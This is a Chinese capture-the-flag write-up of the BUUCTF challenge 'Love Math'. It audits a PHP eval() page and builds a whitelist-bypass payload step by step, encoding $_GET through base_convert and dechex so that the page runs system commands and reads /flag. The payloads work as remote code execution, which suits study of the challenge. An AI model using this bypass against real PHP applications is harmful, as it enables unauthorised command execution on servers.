BUUCTF_WEB_[CISCN 2019 初赛]Love Math 题解

[CISCN 2019 初赛]Love Math

1.打开网页发现是PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

2.代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
//isset函数用于判断该变量是否为null,如果为null返回flase
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
//将GET方法获取的内容传输给变量content
$content = $_GET['c'];
//判断输入的内容长度是否>=80
if (strlen($content) >= 80) {
die("太长了不会算");
}
//设置黑名单数据:空格,\t,\r,',",`,[,]
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {//遍历黑名单数据
//正则表达式/m表示多行匹配
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
//设置可以被允许使用的函数名单
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
//$used_funcs用于存储匹配到的字符串
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
//$used_funcs[0]:表示数组used_funcs的起始地址,使func从数组第一个开始取,直到最后一个
foreach ($used_funcs[0] as $func) {//遍历匹配到的字符串
if (!in_array($func, $whitelist)) {
//匹配到的字符串如果不存在于白名单中
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');//有危险函数执行,可以通过$content=system("ls /")执行恶意代码
}

函数介绍:
issert:

1
用于判断变量的内容是否为空,如果为null,则返回false

show_source(filename,return):

1
2
3
4
5
6
7
show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

show_source() 是 highlight_file() 的别名。

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!

image-20230824101642383

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ):
image-20230824102848164

in_array(search,array,type)

image-20230824104747383

3.分析:
由于我们需要利用最后eval()函数执行恶意代码,所以最后content的值应该为:
system(“ls /“)

测试代码:

1
2
3
<?php
$content = 'system("dir")';
eval('echo '.$content.';');//发生函数执行

输出:
image-20230824105712830

而content的值又是GET(‘c’)进行获取

payload:

1
?c=system("ls /")

image-20230824105855231

这是因为我们输入的内容中含有黑名单字符:”,空格

在PHP代码中没有””命令依然可以被执行:
测试:

1
2
3
<?php
$content = 'system(dir)';
eval('echo '.$content.';');//发生函数执行

输出:
image-20230824110120472

由于eval()可以执行正确语法的PHP代码,所以我们可以在eval()中构造一个PHP代码,即用变量保存函数和参数:

1
eval(echo $_GET['a']($_GET['b']));

所以最后构造的payload:

1
?c=$_GET['a']($_GET['b'])&a=system&b=ls /

GET()函数中也可以不需要单引号’’,并且[]可以使用{}代替

1
?c=$_GET{a}($_GET{b})&a=system&b=ls /

测试:

1
2
3
4
5
6
<?php
echo "test1";
if($a){
echo "111";
}
echo $_GET{a}($_GET{b});

payload:

1
?a=system&b=dir 

输出:

image-20230824130556447

在题目的网页中输入后显示:
![image-20230824130738728](images/2023-8-24_Love Math/image-20230824130738728.png)

这时已经绕过第一层判断,来到第二层判断:

4.对第二层判断进行绕过:

函数介绍:
base_convert()函数(属于数学函数):
image-20230824131254523

hex2bin(String) 函数(属于字符串函数):

image-20230824131526831

dechex() 函数(属于数学函数):

image-20230824131746347

现在的payload:

1
?c=$_GET{a}($_GET{b})&a=system&b=ls /

由于函数:

1
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

对该正则表达式的解释:

1
2
3
4
5
6
7
8
9
10
[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*:
表示第一个字符是以a-z或A-Z或_或不可见字符中的一个,第二个字符是a-z或A-Z或_或数字或不可见字符中的一个
且第二个字符的情况可以出现0次或多次(符合PHP对变量名的要求):
实例:
a9oo9
Aa99o
_GET
不可见字符9oooa

所以数字开头的字符串不会被匹配

所以提取的是content字符串中所有的单词,所以最终content会被提取成:GET,a,b

这些单词都不包含在白名单中,所以要将这些单词进行替换(内部函数名可以被用作是参数名)a=>abs,b=>atan,GET由于是要函数执行,所以无法被替换:
payload:

1
?c=$_GET{abs}($_GET{atan})&abs=system&atan=ls /

我们可以利用数学函数对$_GET进行转码

36进制介绍(同理17-35进制,就是少了一些字母):

1
三十六进制,是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-Z对应10-35

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//35=>z
print(base_convert(35,10,36)."\n");

//37=36+1=>36^1*1+36^0*1=>11
print(base_convert(37,10,36)."\n");

//9=>9
print(base_convert(9,10,36)."\n");

//70=>36+34=>36^1*1+36^0*34=>1y
print(base_convert(70,10,36)."\n");

输出:
z
11
9
1y

我们可以发现通过十进制转36进制可以被0-9和a-z的字符进行表示输出36进制字符串,所以我们可以构造一个特定的十进制值使其被转化为36进制时刚好是字符串函数hex2bin:

将36进制(36进制包含所有非特殊字符,可以用于表示所有不含特殊字符的函数)hex2bin转化为10进制:

1
2
print(base_convert("hex2bin",36,10)."\n");
//37907361743

由于$_GET函数含有特殊字符,所以必须使用hex2bin将16进制转化为ASCII码的形式进行代换

将字符串转化为16进制:

1
2
3
4
5
s = "_GET"
s_hex = ""
for i in range(len(s)):
s_hex = s_hex+hex(ord(s[i]))[2:]+" "
print(s_hex)

输出:

1
5f 47 45 54 

发现16进制表示中含有字母,所以会被preg_match_all()函数提取,所以要将该16进制转化为10进制,再由dechex() 将10进制转回给16进制

16进制转10进制:

1
2
print(base_convert("5f474554",16,10)."\n");
//1598506324

_GET的payload的构造:

1
2
3
4
_GET=hex2bin("5f474554")
hex2bin=base_convert("37907361743",10,36)()
"5f474554"=dechex("1598506324")
_GET=base_convert("37907361743",10,36)(dechex("1598506324"))

所以$_GET{}:

1
$(base_convert("37907361743",10,36)(dechex("1598506324"))){}

5.构造payload

原来的payload:

1
?c=$_GET{abs}($_GET{atan})&abs=system&atan=ls /

转换payload:

1
?c=$(base_convert("37907361743",10,36)(dechex("1598506324"))){abs}($(base_convert("37907361743",10,36)(dechex("1598506324"))){atan})&abs=system&atan=ls /

image-20230824143815219

由于c的长度太长所以必须简化payload

测试:

1
2
3
4
5
6
7
8
9
10
<?php
echo "test1";
if($a){
echo "111";
}
echo "flag is here";
//$pi=base_convert(37907361743,10,36)(dechex(1598506324));
//($$pi){a}(($$pi){b});
//($_GET{a})($_GET{b});
$base_convert("37907361743",10,36)(dechex("1598506324")){a}($base_convert("37907361743",10,36)(dechex("1598506324")){b});

输出:
image-20230824152553792

发现系统命令没有被执行,所以直接应用的方式是错误的,我们需要采用间接引用字符串的方式:

测试:

1
2
3
4
5
6
7
<?php
echo "test1";
if($a){
echo "111";
}
echo "flag is here";
$_GET{a}($_GET{b});

payload:

1
?a=system&b=dir

image-20230824144645504

发生了输出,说明system(dir)在没有echo的情况下依然可以输出内容

所以我们可以构造多句合法PHP代码使其存在于eval()函数中,使该函数执行多条PHP代码,然后我们在对其进行注入(类似于插入一句话木马)

1
2
3
4
5
6
7
8
9
10
11
<?php
echo "test1";
if($a){
echo "111";
}
echo "flag is here";
//$pi=base_convert(37907361743,10,36)(dechex(1598506324));
//($$pi){a}(($$pi){b});
//($_GET{a})($_GET{b});
$pi=base_convert("37907361743",10,36)(dechex("1598506324"));
$$pi{a}($$pi{b});

输出:
image-20230824152828967

6.用间接引用简化payload(使用pi作为参数是因为它既是白名单字符串,同时也很短):

在PHP函数的参数中string类型都可以不用加双引号或单引号,PHP会自动进行解析,同时用GET或POST方法传输内容时也不需要””和’’:

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{atan});&abs=system&atan=ls /

image-20230824153549268

发现flag文件,将其打开查看:
payload:

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{atan});&abs=system&atan=cat /flag

image-20230824153729500

flag = flag{26bb1d2a-6719-409c-88f7-14461687b994}


BUUCTF_WEB_[CISCN 2019 初赛]Love Math 题解
http://example.com/2023/08/24/2023-08-24-Love Math/
作者
South
发布于
2023年8月24日
许可协议